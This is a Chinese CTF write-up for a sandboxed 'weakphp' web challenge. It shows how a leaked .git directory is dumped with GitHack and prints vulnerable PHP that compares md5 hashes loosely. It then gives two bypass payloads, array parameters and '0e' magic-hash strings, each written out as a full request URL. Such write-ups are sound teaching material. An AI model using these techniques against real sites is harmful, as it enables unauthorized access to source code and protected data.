2017-赛客夏令营-Web-weakphp

敏感文件泄露,访问http://challenge-076d08523621bf6a.sandbox.ctfhub.com:10800/.git/路径,会发现403,说明存在git泄露。使用exp将源码dump到本地。

python .\GitHack.py http://challenge-076d08523621bf6a.sandbox.ctfhub.com:10800/.git/

只有一个index.php的文件,内容如下


	require_once "flag.php";
	if (!isset($_GET['user']) && !isset($_GET['pass'])) {
	    header("Location: index.php?user=1&pass=2");
	}
	
	$user = $_GET['user'];
	$pass = $_GET['pass'];
	if ((md5($user) == md5($pass)) and ($user != $pass)){
	    echo $flag;
	} else {
	    echo "nonono!";
	}
?>

这是我当时打ctf时比较流行的php md5弱类型比较,此时有两种解法。

解法一

使用数组绕过,因为md5求数组的摘要的时候会返回null,两个都是null的话则==比较成立,而两个参数的内容不同,此时可以实现绕过。

http://challenge-076d08523621bf6a.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2

数组绕过

解法二

因为采用的比较方式是弱类型的比较,我们可以使用php的弱类型比较的缺陷进行绕过。
因为php在比较0e111 == 0e222的时候,返回的是True。
测试
根据上面的原因,我们可以构造一些简单的,md5后是0e开头的,并且后面是纯数字的payload。

s155964671a
0e342768416822451524974117254469
  
s1184209335a
0e072485820392773389523109082030

根据上面的两个实例,我们可以构造如下payload

http://challenge-076d08523621bf6a.sandbox.ctfhub.com:10800/index.php?user=s155964671a&pass=s1184209335a

2017-赛客夏令营-Web-weakphp_第1张图片

你可能感兴趣的:(CTF,php,ctf)